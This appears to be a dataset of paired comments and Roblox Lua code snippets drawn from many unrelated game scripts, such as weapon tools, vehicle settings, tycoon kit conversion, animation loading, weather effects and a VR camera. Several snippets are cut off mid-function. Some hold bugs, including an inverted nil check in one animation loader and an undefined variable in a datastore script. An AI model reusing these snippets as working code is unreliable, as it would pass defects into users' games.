return LocalizationServiceUtils
|
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
DisplayModel = Tool:FindFirstChild("DisplayModel")
if DisplayModel then
DisplayModel:Destroy()
end
|
--[[
Make a tool that can manipulate the terrain. 1 Click adds/removes 0.2 stud from node height, 2 Clicks adds/removes 1 stud from node height.
--]] | |
--[ |
seat.ChildRemoved:connect(function(child)
if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then
bool.Value = true
if left then
seat.Left.Disabled = true
seat.Left.Disabled = false
end
if right then
seat.Right.Disabled = true
seat.Right.Disabled = false
end
if hazards then
seat.Hazards.Disabled = true
seat.Hazards.Disabled = false
end
end end
end) |
--[[
Returns all children instances of parent that pass specified property criteria.
]] |
function DataModelUtils.getChildrenWithCriteria(parent, criteria)
local results = {}
for _, child in ipairs(parent:GetChildren()) do
local isMatch = true
for property, value in pairs(criteria) do
local success, result =
pcall(
function()
return child[property] == value
end
)
if not (success and result) then
isMatch = false
break
end
end
if isMatch then
table.insert(results, child)
end
end
return results
end
return DataModelUtils
|
-- ================================================================================
-- Settings
-- ================================================================================ |
local Settings = {}
Settings.DefaultSpeed = 200 -- Speed when not boosted [Studs/second, Range 50-300]
Settings.BoostSpeed = 300 -- Speed when boosted [Studs/second, Maximum: 400]
Settings.BoostAmount = 10 -- Duration of boost in seconds
Settings.Steering = 7 -- How quickly the speeder turns [Range: 1-10] |
--use this to determine if you want this human to be harmed or not, returns boolean |
function checkTeams(otherHuman)
return not (sameTeam(otherHuman) and not FriendlyFire)
end
function onTouched(part)
if part:IsDescendantOf(Tool.Parent) then return end
if not HitAble then return end
if part.Parent and part.Parent:FindFirstChild("Humanoid") then
local human = part.Parent.Humanoid
if contains(HitVictims, human) then return end
local root = part.Parent:FindFirstChild("HumanoidRootPart")
if root and not root.Anchored then
local myRoot = Tool.Parent:FindFirstChild("HumanoidRootPart")
if myRoot and checkTeams(human) then
local delta = root.Position - myRoot.Position
human.Sit = true
tagHuman(human)
human:TakeDamage(HitDamage)
table.insert(HitVictims, human)
local bv = Instance.new("BodyVelocity")
bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
bv.velocity = delta.unit * 128
bv.Parent = root
game:GetService("Debris"):AddItem(bv, 0.05)
Handle.Smack.Pitch = math.random(90, 110)/100
Handle.Smack.TimePosition = 0.15
Handle.Smack:Play()
end
end
end
end
function onEquip()
--put in our right arm
local char = Tool.Parent
local arm = Tool.ArmMesh:Clone()
arm.Parent = char:FindFirstChild("Right Arm")
ArmMesh = arm
end
function onUnequip()
if ArmMesh then
ArmMesh:Destroy()
ArmMesh = nil
end
end
function onLeftDown()
if not SwingAble then return end
SwingAble = false
delay(SwingRestTime, function()
SwingAble = true
end)
delay(HitWindup, function()
HitAble = true
delay(HitWindow, function()
HitAble = false
end)
end)
HitVictims = {}
Remote:FireClient(getPlayer(), "PlayAnimation", "Swing")
wait(0.25)
Handle.Boom.Pitch = math.random(80, 100)/100
Handle.Boom:Play()
end
function onRemote(player, func, ...)
if player ~= getPlayer() then return end
if func == "LeftDown" then
onLeftDown(...)
end
end
Tool.Equipped:connect(onEquip)
Tool.Unequipped:connect(onUnequip)
Handle.Touched:connect(onTouched)
Remote.OnServerEvent:connect(onRemote)
|
-- force = Instance.new("BodyThrust")
-- force.force = Tool.Parent.Torso.CFrame.lookVector * 400
-- force.Parent = Tool.Parent.Torso |
Tool.GripForward = Vector3.new(0,-1,0)
Tool.GripPos = Vector3.new(0,0.4,0.5)
wait(0.08)
Tool.GripForward = Vector3.new(0,-1,1.5)
Tool.GripPos = Vector3.new(0,0.4,0)
Tool.GripRight = Vector3.new(1,0.3,0)
wait(0.08)
Tool.GripForward = Vector3.new(0,-1,3)
Tool.GripPos = Vector3.new(0,0.4,-0.4)
Tool.GripRight = Vector3.new(1,0.7,0)
wait(0.08)
Tool.GripForward = Vector3.new(0,-1,6)
Tool.GripPos = Vector3.new(0,0.4,-1)
wait(0.15)
Tool.GripForward = Vector3.new(0,-1,3)
Tool.GripPos = Vector3.new(0,0.4,-0.4)
Tool.GripRight = Vector3.new(1,0.4,0)
wait(0.15)
Tool.GripForward = Vector3.new(0,-1,2)
Tool.GripPos = Vector3.new(0,0.4,-0.3)
wait(0.15)
Tool.GripForward = Vector3.new(0,-1,1)
Tool.GripPos = Vector3.new(0,0.4,-0.3)
wait(0.15)
Tool.GripForward = Vector3.new(0,-1,.6)
Tool.GripPos = Vector3.new(0,0.6,-0.3)
Tool.GripRight = Vector3.new(1,0.2,0)
wait(0.15)
Tool.GripForward = Vector3.new(0,-1,.3)
Tool.GripPos = Vector3.new(0,0.8,-0)
wait(0.20)
Tool.GripForward = Vector3.new(0,-1,0)
Tool.GripPos = Vector3.new(0,0.4,0.5)
Tool.GripRight = Vector3.new(1,0,0) |
--[[Brakes]] |
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 3100 -- Front brake force
Tune.RBrakeForce = 3100 -- Rear brake force
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
-- Place in character if was equipped |
if wasEquipped then
script.Parent.Parent = plr.Character
end
|
--♂ |
local pivot = script.Parent.Pivot
local TS = game:GetService("TweenService")
local CD = Instance.new("ClickDetector",script.Parent.Lid)
CD.MaxActivationDistance = 5
local deb = false
local toggle = false
CD.MouseClick:Connect(function()
if not deb then
deb = true
local anim
if not toggle then
anim = TS:Create(pivot,TweenInfo.new(.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = pivot.CFrame*CFrame.Angles(math.rad(160),0,0)})
else
anim = TS:Create(pivot,TweenInfo.new(.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = pivot.CFrame*CFrame.Angles(-math.rad(160),0,0)})
end
anim.Completed:Connect(function()
toggle = not toggle
deb = false
end)
anim:Play()
end
end)
|
--//Controller//-- |
SpawnEvent.OnClientEvent:Connect(function(SpawnPoint)
local Crate = script.Crate:Clone()
Crate.Parent = game.Workspace.DraggableParts
Crate.CFrame = SpawnPoint.WorldCFrame
end)
|
--CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR |
local TycoonName = "Green Lantern Tycoon"
if game.Workspace:FindFirstChild(TycoonName) then
local s = nil
local bTycoon = game.Workspace:FindFirstChild(TycoonName)
local zTycoon = game.Workspace:FindFirstChild("Zednov's Tycoon Kit")
local new_Collector = zTycoon['READ ME'].Script:Clone()
local Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone()
if zTycoon then
for i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo'
if v then
s = v.PurchaseHandler:Clone()
v:Destroy()
end
end
-- Now make it compatiable
if s ~= nil then
for i,v in pairs(bTycoon.Tycoons:GetChildren()) do
local New_Tycoon = v:Clone()
New_Tycoon:FindFirstChild('PurchaseHandler'):Destroy()
s:Clone().Parent = New_Tycoon
local Team_C = Instance.new('BrickColorValue',New_Tycoon)
Team_C.Value = BrickColor.new(tostring(v.Name))
Team_C.Name = "TeamColor"
New_Tycoon.Name = v.TeamName.Value
New_Tycoon.Cash.Name = "CurrencyToCollect"
New_Tycoon.Parent = zTycoon.Tycoons
New_Tycoon.TeamName:Destroy()
v:Destroy()
New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy()
local n = new_Collector:Clone()
n.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0')
n.Disabled = false
New_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy()
local g = Gate:Clone()
g.Parent = New_Tycoon.Gate['Touch to claim ownership!']
end
else
error("Please don't tamper with script names or this won't work!")
end
else
error("Please don't change the name of our tycoon kit or it won't work!")
end
bTycoon:Destroy()
Gate:Destroy()
new_Collector:Destroy()
print('Transfer complete! :)')
else
error("Check if you spelt the kit's name wrong!")
end
|
--Don't worry about the rest of the code, except for line 25. |
game.Players.PlayerAdded:connect(function(player)
local leader = Instance.new("Folder",player)
leader.Name = "leaderstats"
local Cash = Instance.new("IntValue",leader)
Cash.Name = stat
Cash.Value = ds:GetAsync(player.UserId) or startamount
ds:SetAsync(player.UserId, Money.Value)
Cash.Changed:connect(function()
ds:SetAsync(player.UserId, Money.Value)
end)
end)
game.Players.PlayerRemoving:connect(function(player)
ds:SetAsync(player.UserId, player.leaderstats.Money.Value) --Change "Points" to the name of your leaderstat.
end)
|
--print("Loading anims " .. name) |
table.insert(animTable[name].connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight |
-- ROBLOX deviation: isToStringedArrayType omitted because lua has no typed arrays |
local printer, createIndent
local function printNumber(val: number): string
-- explicitly check for nan because string representation is platform dependent
if isNaN(val) then
return "nan"
end
return tostring(val)
end
|
-- emitter block around camera used when outside |
local Emitter do
Emitter = Instance.new("Part")
Emitter.Transparency = 1
Emitter.Anchored = true
Emitter.CanCollide = false
Emitter.Locked = false
Emitter.Archivable = false
Emitter.TopSurface = Enum.SurfaceType.Smooth
Emitter.BottomSurface = Enum.SurfaceType.Smooth
Emitter.Name = "__RainEmitter"
Emitter.Size = MIN_SIZE
Emitter.Archivable = false
local straight = Instance.new("ParticleEmitter")
straight.Name = "RainStraight"
straight.LightEmission = RAIN_DEFAULT_LIGHTEMISSION
straight.LightInfluence = RAIN_DEFAULT_LIGHTINFLUENCE
straight.Size = RAIN_STRAIGHT_SIZE
straight.Texture = RAIN_STRAIGHT_ASSET
straight.LockedToPart = true
straight.Enabled = false
straight.Lifetime = RAIN_STRAIGHT_LIFETIME
straight.Rate = RAIN_STRAIGHT_MAX_RATE
straight.Speed = NumberRange.new(RAIN_STRAIGHT_MAX_SPEED)
straight.EmissionDirection = Enum.NormalId.Bottom
straight.Parent = Emitter
straight.Orientation = Enum.ParticleOrientation.FacingCameraWorldUp
local topdown = Instance.new("ParticleEmitter")
topdown.Name = "RainTopDown"
topdown.LightEmission = RAIN_DEFAULT_LIGHTEMISSION
topdown.LightInfluence = RAIN_DEFAULT_LIGHTINFLUENCE
topdown.Size = RAIN_TOPDOWN_SIZE
topdown.Texture = RAIN_TOPDOWN_ASSET
topdown.LockedToPart = true
topdown.Enabled = false
topdown.Rotation = RAIN_TOPDOWN_ROTATION
topdown.Lifetime = RAIN_TOPDOWN_LIFETIME
topdown.Rate = RAIN_TOPDOWN_MAX_RATE
topdown.Speed = NumberRange.new(RAIN_TOPDOWN_MAX_SPEED)
topdown.EmissionDirection = Enum.NormalId.Bottom
topdown.Parent = Emitter
end
local splashAttachments, rainAttachments do
splashAttachments = {}
rainAttachments = {}
for i = 1, RAIN_SPLASH_NUM do
-- splashes on ground
local splashAttachment = Instance.new("Attachment")
splashAttachment.Name = "__RainSplashAttachment"
local splash = Instance.new("ParticleEmitter")
splash.LightEmission = RAIN_DEFAULT_LIGHTEMISSION
splash.LightInfluence = RAIN_DEFAULT_LIGHTINFLUENCE
splash.Size = RAIN_SPLASH_SIZE
splash.Texture = RAIN_SPLASH_ASSET
splash.Rotation = RAIN_SPLASH_ROTATION
splash.Lifetime = RAIN_SPLASH_LIFETIME
splash.Transparency = NumberSequence.new {
NSK010;
NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T1, RAIN_SPLASH_ALPHA_LOW, 0);
NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T2, RAIN_SPLASH_ALPHA_LOW, 0);
NSK110;
}
splash.Enabled = false
splash.Rate = 0
splash.Speed = NumberRange.new(0)
splash.Name = "RainSplash"
splash.Parent = splashAttachment
splashAttachment.Archivable = false
table.insert(splashAttachments, splashAttachment)
-- occluded rain particle generation
local rainAttachment = Instance.new("Attachment")
rainAttachment.Name = "__RainOccludedAttachment"
local straightOccluded = Emitter.RainStraight:Clone()
straightOccluded.Speed = NumberRange.new(RAIN_OCCLUDED_MINSPEED, RAIN_OCCLUDED_MAXSPEED)
straightOccluded.SpreadAngle = RAIN_OCCLUDED_SPREAD
straightOccluded.LockedToPart = false
straightOccluded.Enabled = false
straightOccluded.Parent = rainAttachment
local topdownOccluded = Emitter.RainTopDown:Clone()
topdownOccluded.Speed = NumberRange.new(RAIN_OCCLUDED_MINSPEED, RAIN_OCCLUDED_MAXSPEED)
topdownOccluded.SpreadAngle = RAIN_OCCLUDED_SPREAD
topdownOccluded.LockedToPart = false
topdownOccluded.Enabled = false
topdownOccluded.Parent = rainAttachment
rainAttachment.Archivable = false
table.insert(rainAttachments, rainAttachment)
end
end
|
--[=[
Starts the observable with the given value from the callback
http://reactivex.io/documentation/operators/start.html
@param callback function
@return (source: Observable) -> Observable
]=] |
function Rx.start(callback)
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
sub:Fire(callback())
return source:Subscribe(sub:GetFireFailComplete())
end)
end
end
|
-- print("Loading anims " .. Name) |
table.insert(AnimTable[Name].Connections, Config.ChildAdded:connect(function(Child)
ConfigureAnimationSet(Name, FileList)
end))
table.insert(AnimTable[Name].Connections, Config.ChildRemoved:connect(function(Child)
ConfigureAnimationSet(Name, FileList)
end))
local Index = 1
for i, ChildPart in pairs(Config:GetChildren()) do
if (ChildPart:IsA("Animation")) then
table.insert(AnimTable[Name].Connections, ChildPart.Changed:connect(function(Property)
ConfigureAnimationSet(Name, FileList)
end))
AnimTable[Name][Index] = {}
AnimTable[Name][Index].Anim = ChildPart
local WeightObject = ChildPart:FindFirstChild("Weight")
if WeightObject then
AnimTable[Name][Index].Weight = 1
else
AnimTable[Name][Index].Weight = WeightObject.Value
end
AnimTable[Name].Count = AnimTable[Name].Count + 1
AnimTable[Name].TotalWeight = AnimTable[Name].TotalWeight + AnimTable[Name][Index].Weight
-- print(Name .. " [" .. Index .. "] " .. AnimTable[Name][Index].Anim.AnimationId .. " (" .. AnimTable[Name][Index].Weight .. ")")
Index = Index + 1
end
end
end
-- fallback to defaults
if AnimTable[Name].Count <= 0 then
for Index, Anim in pairs(FileList) do
AnimTable[Name][Index] = {}
AnimTable[Name][Index].Anim = Instance.new("Animation")
AnimTable[Name][Index].Anim.Name = Name
AnimTable[Name][Index].Anim.AnimationId = Anim.Id
AnimTable[Name][Index].Weight = Anim.Weight
AnimTable[Name].Count = AnimTable[Name].Count + 1
AnimTable[Name].TotalWeight = AnimTable[Name].TotalWeight + Anim.Weight |
--[=[
Gets a signal that will fire when the Brio dies. If the brio is already dead
calling this method will error.
:::info
Calling this while the brio is already dead will throw a error.
:::
```lua
local brio = Brio.new("a", "b")
brio:GetDiedSignal():Connect(function()
print("Brio died")
end)
brio:Kill() --> Brio died
brio:Kill() -- no output
```
@return Signal
]=] |
function Brio:GetDiedSignal()
if self:IsDead() then
error("Brio is dead")
end
if self._diedEvent then
return self._diedEvent
end
self._diedEvent = GoodSignal.new()
return self._diedEvent
end
|
--[[ The Module ]] | --
local VRBaseCamera = require(script.Parent:WaitForChild("VRBaseCamera"))
local VRCamera = setmetatable({}, VRBaseCamera)
VRCamera.__index = VRCamera
local FFlagUserFlagEnableVRUpdate3 do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFlagEnableVRUpdate3")
end)
FFlagUserFlagEnableVRUpdate3 = success and result
end
function VRCamera.new()
local self = setmetatable(VRBaseCamera.new(), VRCamera)
self.lastUpdate = tick()
self:Reset()
return self
end
function VRCamera:Reset()
self.needsReset = true
self.needsBlackout = true
self.motionDetTime = 0.0
self.blackOutTimer = 0
self.lastCameraResetPosition = nil
self.stepRotateTimeout = 0.0
self.cameraOffsetRotation = 0
self.cameraOffsetRotationDiscrete = 0
end
function VRCamera:Update(timeDelta)
local camera = workspace.CurrentCamera
local newCameraCFrame = camera.CFrame
local newCameraFocus = camera.Focus
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera.CameraSubject
if self.lastUpdate == nil or timeDelta > 1 then
self.lastCameraTransform = nil
end
self:StepZoom()
-- update fullscreen effects
self:UpdateFadeFromBlack(timeDelta)
self:UpdateEdgeBlur(player, timeDelta)
local lastSubjPos = self.lastSubjectPosition
local subjectPosition: Vector3 = self:GetSubjectPosition()
-- transition from another camera or from spawn
if self.needsBlackout then
self:StartFadeFromBlack()
local dt = math.clamp(timeDelta, 0.0001, 0.1)
self.blackOutTimer += dt
if self.blackOutTimer > CAMERA_BLACKOUT_TIME and game:IsLoaded() then
self.needsBlackout = false
self.needsReset = true
end
end
if subjectPosition and player and camera then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
if self:IsInFirstPerson() then
-- update camera CFrame
newCameraCFrame, newCameraFocus = self:UpdateFirstPersonTransform(
timeDelta,newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition)
else -- 3rd person
-- update camera CFrame
newCameraCFrame, newCameraFocus = self:UpdateThirdPersonTransform(
timeDelta, newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition)
end
self.lastCameraTransform = newCameraCFrame
self.lastCameraFocus = newCameraFocus
end
self.lastUpdate = tick()
return newCameraCFrame, newCameraFocus
end
function VRCamera:UpdateFirstPersonTransform(timeDelta, newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition)
-- transition from TP to FP
if self.needsReset then
self:StartFadeFromBlack()
self.needsReset = false
self.stepRotateTimeout = 0.25
self.VRCameraFocusFrozen = true
self.cameraOffsetRotation = 0
self.cameraOffsetRotationDiscrete = 0
end
-- blur screen edge during movement
local player = PlayersService.LocalPlayer
local subjectDelta = lastSubjPos - subjectPosition
if subjectDelta.magnitude > 0.01 then
self:StartVREdgeBlur(player)
end
-- straight view, not angled down
local cameraFocusP = newCameraFocus.p
local cameraLookVector = self:GetCameraLookVector()
cameraLookVector = Vector3.new(cameraLookVector.X, 0, cameraLookVector.Z).Unit
if self.stepRotateTimeout > 0 then
self.stepRotateTimeout -= timeDelta
end
-- step rotate in 1st person
local rotateInput = CameraInput.getRotation()
local yawDelta = 0
if FFlagUserFlagEnableVRUpdate3 and UserGameSettings.VRSmoothRotationEnabled then
yawDelta = rotateInput.X
else
if self.stepRotateTimeout <= 0.0 and math.abs(rotateInput.X) > 0.03 then
yawDelta = 0.5
if rotateInput.X < 0 then
yawDelta = -0.5
end
self.needsReset = true
end
end
local newLookVector = self:CalculateNewLookVectorFromArg(cameraLookVector, Vector2.new(yawDelta, 0))
newCameraCFrame = CFrame.new(cameraFocusP - (FP_ZOOM * newLookVector), cameraFocusP)
return newCameraCFrame, newCameraFocus
end
function VRCamera:UpdateThirdPersonTransform(timeDelta, newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition)
local zoom = self:GetCameraToSubjectDistance()
if zoom < 0.5 then
zoom = 0.5
end
if lastSubjPos ~= nil and self.lastCameraFocus ~= nil then
-- compute delta of subject since last update
local player = PlayersService.LocalPlayer
local subjectDelta = lastSubjPos - subjectPosition
local moveVector = require(player:WaitForChild("PlayerScripts").PlayerModule:WaitForChild("ControlModule")):GetMoveVector()
-- is the subject still moving?
local isMoving = subjectDelta.magnitude > 0.01 or moveVector.magnitude > 0.01
if isMoving then
self.motionDetTime = 0.1
end
self.motionDetTime = self.motionDetTime - timeDelta
if self.motionDetTime > 0 then
isMoving = true
end
if isMoving and not self.needsReset then
-- if subject moves keep old camera focus
newCameraFocus = self.lastCameraFocus
-- if the focus subject stopped, time to reset the camera
self.VRCameraFocusFrozen = true
else
local subjectMoved = self.lastCameraResetPosition == nil or (subjectPosition - self.lastCameraResetPosition).Magnitude > 1
-- compute offset for 3rd person camera rotation
local rotateInput = CameraInput.getRotation()
local userCameraPan = FFlagUserFlagEnableVRUpdate3 and rotateInput ~= Vector2.new()
local panUpdate = false
if userCameraPan then
if rotateInput.X ~= 0 then
local tempRotation = self.cameraOffsetRotation + rotateInput.X;
if(tempRotation < -math.pi) then
tempRotation = math.pi - (tempRotation + math.pi)
else
if (tempRotation > math.pi) then
tempRotation = -math.pi + (tempRotation - math.pi)
end
end
self.cameraOffsetRotation = math.clamp(tempRotation, -math.pi, math.pi)
if UserGameSettings.VRSmoothRotationEnabled then
self.cameraOffsetRotationDiscrete = self.cameraOffsetRotation
-- get player facing direction
local humanoid = self:GetHumanoid()
local forwardVector = humanoid.Torso and humanoid.Torso.CFrame.lookVector or Vector3.new(1,0,0)
-- adjust camera height
local vecToCameraAtHeight = Vector3.new(forwardVector.X, 0, forwardVector.Z)
local newCameraPos = newCameraFocus.Position - vecToCameraAtHeight * zoom
-- compute new cframe at height level to subject
local lookAtPos = Vector3.new(newCameraFocus.Position.X, newCameraPos.Y, newCameraFocus.Position.Z)
local tempCF = CFrame.new(newCameraPos, lookAtPos)
tempCF = tempCF * CFrame.fromAxisAngle(Vector3.new(0,1,0), self.cameraOffsetRotationDiscrete)
newCameraPos = lookAtPos - (tempCF.LookVector * (lookAtPos - newCameraPos).Magnitude)
newCameraCFrame = CFrame.new(newCameraPos, lookAtPos)
else
local tempRotDisc = math.floor(self.cameraOffsetRotation * 12 / 12)
if tempRotDisc ~= self.cameraOffsetRotationDiscrete then
self.cameraOffsetRotationDiscrete = tempRotDisc
panUpdate = true
end
end
end
end
-- recenter the camera on teleport
if (self.VRCameraFocusFrozen and subjectMoved) or self.needsReset or panUpdate then
if not panUpdate then
self.cameraOffsetRotationDiscrete = 0
self.cameraOffsetRotation = 0
end
VRService:RecenterUserHeadCFrame()
self.VRCameraFocusFrozen = false
self.needsReset = false
self.lastCameraResetPosition = subjectPosition
self:ResetZoom()
self:StartFadeFromBlack()
-- get player facing direction
local humanoid = self:GetHumanoid()
local forwardVector = humanoid.Torso and humanoid.Torso.CFrame.lookVector or Vector3.new(1,0,0)
-- adjust camera height
local vecToCameraAtHeight = Vector3.new(forwardVector.X, 0, forwardVector.Z)
local newCameraPos = newCameraFocus.Position - vecToCameraAtHeight * zoom
-- compute new cframe at height level to subject
local lookAtPos = Vector3.new(newCameraFocus.Position.X, newCameraPos.Y, newCameraFocus.Position.Z)
if FFlagUserFlagEnableVRUpdate3 and self.cameraOffsetRotation ~= 0 then
local tempCF = CFrame.new(newCameraPos, lookAtPos)
tempCF = tempCF * CFrame.fromAxisAngle(Vector3.new(0,1,0), self.cameraOffsetRotationDiscrete)
newCameraPos = lookAtPos - (tempCF.LookVector * (lookAtPos - newCameraPos).Magnitude)
end
newCameraCFrame = CFrame.new(newCameraPos, lookAtPos)
end
end
end
return newCameraCFrame, newCameraFocus
end
function VRCamera:EnterFirstPerson()
self.inFirstPerson = true
self:UpdateMouseBehavior()
end
function VRCamera:LeaveFirstPerson()
self.inFirstPerson = false
self.needsReset = true
self:UpdateMouseBehavior()
if self.VRBlur then
self.VRBlur.Visible = false
end
end
return VRCamera
|
--[=[
Constructs a new queue
@return Queue<T>
]=] |
function Queue.new()
return setmetatable({
_first = 0;
_last = -1;
}, Queue)
end
|
-- Formerly getCurrentCameraMode, this function resolves developer and user camera control settings to
-- decide which camera control module should be instantiated. The old method of converting redundant enum types |
function CameraModule:GetCameraControlChoice()
local player = Players.LocalPlayer
if player then
if self.lastInputType == Enum.UserInputType.Touch or UserInputService.TouchEnabled then
-- Touch
if player.DevTouchCameraMode == Enum.DevTouchCameraMovementMode.UserChoice then
return CameraUtils.ConvertCameraModeEnumToStandard( UserGameSettings.TouchCameraMovementMode )
else
return CameraUtils.ConvertCameraModeEnumToStandard( player.DevTouchCameraMode )
end
else
-- Computer
if player.DevComputerCameraMode == Enum.DevComputerCameraMovementMode.UserChoice then
local computerMovementMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode)
return CameraUtils.ConvertCameraModeEnumToStandard(computerMovementMode)
else
return CameraUtils.ConvertCameraModeEnumToStandard(player.DevComputerCameraMode)
end
end
end
end
function CameraModule:OnCharacterAdded(char, player)
if self.activeOcclusionModule then
self.activeOcclusionModule:CharacterAdded(char, player)
end
end
function CameraModule:OnCharacterRemoving(char, player)
if self.activeOcclusionModule then
self.activeOcclusionModule:CharacterRemoving(char, player)
end
end
function CameraModule:OnPlayerAdded(player)
player.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char, player)
end)
player.CharacterRemoving:Connect(function(char)
self:OnCharacterRemoving(char, player)
end)
end
function CameraModule:OnMouseLockToggled()
if self.activeMouseLockController then
local mouseLocked = self.activeMouseLockController:GetIsMouseLocked()
local mouseLockOffset = self.activeMouseLockController:GetMouseLockOffset()
if self.activeCameraController then
self.activeCameraController:SetIsMouseLocked(mouseLocked)
self.activeCameraController:SetMouseLockOffset(mouseLockOffset)
end
end
end
local cameraModuleObject = CameraModule.new()
return cameraModuleObject
|
-- Make the AnimBase |
L_18_ = Instance.new("Part", L_3_)
L_18_.FormFactor = "Custom"
L_18_.CanCollide = false
L_18_.Transparency = 1
L_18_.Anchored = false
L_18_.Name = "AnimBase"
L_19_ = Instance.new("Motor6D")
L_19_.Part0 = L_18_
L_19_.Part1 = L_58_
L_19_.Parent = L_18_
L_19_.Name = "AnimBaseW"
--AnimBaseW.C1 = gunSettings.StartPose
L_15_ = Instance.new("Motor6D")
L_15_.Part0 = L_3_['Right Arm']
L_15_.Part1 = L_1_:FindFirstChild('Grip')
L_15_.Parent = L_3_['Right Arm']
L_15_.C1 = L_12_.GunPos
L_15_.Name = "Grip"
for L_60_forvar1, L_61_forvar2 in pairs(L_1_:GetChildren()) do
if L_61_forvar2:IsA("Part") or L_61_forvar2:IsA("MeshPart") or L_61_forvar2:IsA("UnionOperation") then
L_61_forvar2.Anchored = true
if L_61_forvar2.Name ~= "Grip" and L_61_forvar2.Name ~= "Bolt" and L_61_forvar2.Name ~= 'Lid' then
Weld(L_61_forvar2, L_1_:WaitForChild("Grip"))
end
if L_61_forvar2.Name == "Bolt" then
if L_1_:FindFirstChild('BoltHinge') then
Weld(L_61_forvar2, L_1_:WaitForChild("BoltHinge"))
else
Weld(L_61_forvar2, L_1_:WaitForChild("Grip"))
end
end;
if L_61_forvar2.Name == "Lid" then
if L_1_:FindFirstChild('LidHinge') then
Weld(L_61_forvar2, L_1_:WaitForChild("LidHinge"))
else
Weld(L_61_forvar2, L_1_:WaitForChild("Grip"))
end
end
end
end
for L_62_forvar1, L_63_forvar2 in pairs(L_13_:GetChildren()) do
if L_63_forvar2:IsA('Part') then
Weld(L_63_forvar2, L_1_:WaitForChild("Grip"))
end
end
for L_64_forvar1, L_65_forvar2 in pairs(L_13_:GetChildren()) do
if L_65_forvar2:IsA('Part') then
L_65_forvar2.Anchored = false
end
end
for L_66_forvar1, L_67_forvar2 in pairs(L_1_:GetChildren()) do
if L_67_forvar2:IsA("Part") or L_67_forvar2:IsA("MeshPart") or L_67_forvar2:IsA("UnionOperation") then
L_67_forvar2.Anchored = false
end
end
L_20_ = L_3_['Right Arm']
L_21_ = L_3_['Left Arm']
L_24_ = L_3_.Torso:WaitForChild("Right Shoulder")
L_25_ = L_3_.Torso:WaitForChild("Left Shoulder")
L_22_ = Instance.new("Motor6D")
L_22_.Name = "RAW"
L_22_.Part0 = L_18_
L_22_.Part1 = L_20_
L_22_.Parent = L_18_
L_22_.C1 = L_12_.RightArmPos
L_3_.Torso:WaitForChild("Right Shoulder").Part1 = nil
L_23_ = Instance.new("Motor6D")
L_23_.Name = "LAW"
L_23_.Part0 = L_18_
L_23_.Part1 = L_21_
L_23_.Parent = L_18_
L_23_.C1 = L_12_.LeftArmPos
L_3_.Torso:WaitForChild("Left Shoulder").Part1 = nil
L_14_ = L_8_:WaitForChild('MainGui'):clone()
L_14_.Parent = L_2_.PlayerGui
L_27_ = L_58_:FindFirstChild('AHH') or L_6_:WaitForChild('AHH'):clone()
L_27_.Parent = L_3_.Head
if L_32_ then
L_32_:Destroy()
end
L_33_:FireClient(L_2_, true, L_15_, L_18_, L_19_, L_22_, L_23_, L_17_)
end)
L_1_.Unequipped:connect(function()
local L_68_ = L_3_:FindFirstChild('Torso')
local L_69_ = L_3_:FindFirstChild('Head')
L_32_ = Instance.new('Model', L_3_)
L_32_.Name = "HolsterModel"
for L_70_forvar1, L_71_forvar2 in pairs(L_1_:GetChildren()) do
for L_72_forvar1, L_73_forvar2 in pairs(L_71_forvar2:GetChildren()) do
if L_73_forvar2.ClassName == "Motor6D" then
L_73_forvar2:Destroy()
end
end
end
for L_74_forvar1, L_75_forvar2 in pairs(L_1_:GetChildren()) do
if L_75_forvar2:IsA("Part") or L_75_forvar2:IsA("MeshPart") or L_75_forvar2:IsA("UnionOperation") then
L_75_forvar2.Anchored = true
end
end
if L_3_.Humanoid and L_3_.Humanoid.Health > 0 then
L_3_.HumanoidRootPart.RootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
L_68_['Right Hip'].C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
L_68_['Left Hip'].C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
